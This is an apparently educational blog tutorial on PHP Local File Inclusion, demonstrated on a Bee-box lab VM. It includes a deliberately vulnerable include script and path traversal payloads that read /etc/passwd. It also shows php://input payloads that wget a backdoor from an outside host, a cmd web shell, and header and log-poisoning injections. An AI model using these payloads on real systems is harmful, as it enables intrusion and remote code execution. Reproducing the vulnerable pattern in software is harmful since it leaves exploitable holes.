
Introduction to Local File Inclusion Attacks | LFI | Path Traversal | Directory Traversal
Introduction
The LFI stands for Local File Inclusion, it allows an attacker to include files that exist (available locally) on the target web server. This vulnerability exists when a web application includes a file without correctly sanitising the user input.
The LFI vulnerability is exploited by abusing dynamic file inclusion mechanisms by inject path traversal characters to include files from the web server. Also note that with LFI vulnerability we can only includes the files which are available locally on that web server.
Now lets see an example of LFI, consider the below php code :
File : lfi.php
<?php
if(isset($_GET['file'])) {
include($_GET['file']);
} else {
echo "<b>Include Some Files</b><br/><br/>";
echo "Example : http://" . $_SERVER['HTTP_HOST'] . "/lfi/lfi.php?file=test.php";
}
?>
The above php code includes a file based on user input. For example test.php
File : test.php
<?php
echo "<b>Hello world</b><br/><br/>";
echo "This is included file."
?>


Now the lfi.php has LFI vulnerability, because there are not any kind of sanitation or security checks. Infect any page that includes files from a web server is a good candidate for further LFI testing. We can exploit LFI vulnerability by using path traversal characters. Example :
/lfi/lfi.php?file=**../../../../../../../../etc/passwd**

Where the payload (in bold font) is used to access the /etc/passwd file on the web server. Similarly we can also access other files :
/lfi/lfi.php?file=../../../../../../../../etc/fstab
/lfi/lfi.php?file=../../../../../../../../etc/lsb-release
Methods of LFI Exploitations
Different Methods of Exploiting LFI vulnerability
PHP filter wrapper
By using php://filter
wrapper we can extract files from the web server.
php://filter/resource=file_location
Example :
/lfi/lfi.php?file=php://filter/resource=/etc/passwd

Extracting files with base64 encoded text :
php://filter/convert.base64-encode/resource=/etc/passwd
Example :
/lfi/lfi.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

Decoding the value :

PHP Input wrapper
The php://input
wrapper is used to read raw data from the request body. by using this wrapper we can make web server to download a backdoor. To achieve this, we modify the request to post and put the php code in the data part of the request body :

<?php shell_exec('wget http://ServerAddress/shell.php');?>
The above code is download the backdoor file on the web-server, and in this case it is stored in the /lfi/
folder on the web directory of the server. The below payload will download backdoor and store it on the web root directory.
<?php shell_exec('wget http://ServerAddress/shell.php -O /var/www/shell.php');?>
Executing code on the web server :

and if the web application has not permitted to write a file, then we can also execute code without uploading any shell with php://input
wrapper

<?php echo shell_exec($_GET['cmd']);?>
PHP ZIP wrapper
The php zip wrapper is used to process compressed files.
zip://file.zip#dir/file.txt
And if a web server is vulnerable to File Upload, then an attacker would upload a zip file and then through LFI and zip wrapper it can be extracted on the server.
lfi.php?page=zip://var/www/upload/images/shell.zip%23shell.php
unfortunately i am not able to make it work.
/proc/self/environ LFI Method
In Linux based system the environment-variables of the current process (self) can be accessed via /proc/self/environ
. One of the environment-variables set (if apache2 is running) is the user-agent which can be controlled through a HTTP request. If the /proc/self/environ
file can be accessed through LFI, then in this case RCE
can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.
GET lfi.php?file=../../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo();?>
In this way a local file inclusion vulnerability can be leveraged to execute /proc/self/environ and reload the environment variables, executing the injected code. And if ‘User Agent’ field is filtered by web application, then you will also inject php code within Accept-Encoding’ field. For more information read the following paper from exploitdb.
/proc/self/fd/ LFI Method
Similarly to above, the /proc/self/fd/
can also be used in combination with http Referer
header to achieve code execution by inject the payload into opened error-logs by apache2.
GET lfi.php?file=../../../proc/self/fd/<id> HTTP/1.1
Referer: <?php phpinfo();?>
Where id could be 0,1,2,….10, 11 etc.
In this method the proc file which contains the Apache error log information, could be any, for example /proc/self/fd/0
, /proc/self/fd/1
, /proc/self/fd/2
, /proc/self/fd/10
etc. So in this case we need to brute force the directory structure of the /proc/self/fd/
directory with various tools like wfuzz, burp intruder etc. Here is the list for fuzzing /proc/self/fd/
directory : LFI Payload.
Null-byte Injection
The null-byte injection technique is used to bypass application filtering within web applications by adding URL encoded Null bytes
such as . Typically, this bypasses basic web application blacklist filters by adding additional null characters that are then allowed or not processed by the back-end web application. Example :
/lfi/lfi.php?file=/etc/passwd
/lfi/lfi.php?file=/etc/passwd%2500
Log poisoning
Web-servers like Apache or Nginx are logging user-requests or application-related errors (like a stack-trace) to specific log-files on the server. These files can be manipulated by e.g. requesting HTTP Status 404 (a not-found page) with the payload via some HTTP method. Beware! The inclusion of these files can crash the browser (log-files can be big).
GET vulnerable.php?filename[]= HTTP/1.1
Referer: <?=phpinfo();?>
GET vulnerable.php?filename=../../../var/log/nginx/error_log HTTP/1.1
It is also possible to use the SSH authentication (similar authentication schemes like FTP are working too) to deliver and execute a payload by connecting to the SSH service:
ssh <?=phpinfo();?>@<ip-of-vulnerable-target>
GET vulnerable.php?filename=../../../var/log/auth.log HTTP/1.1
Preventing Local File Inclusion
The best way to eliminate Local File Inclusion (LFI) vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a white list of files that can be included in order to limit the attacker’s control over what gets included.
Note : In this post the Bee-box VM is used along with the vulnerable php code mentioned above for the demonstration purpose. The download links Bee-box.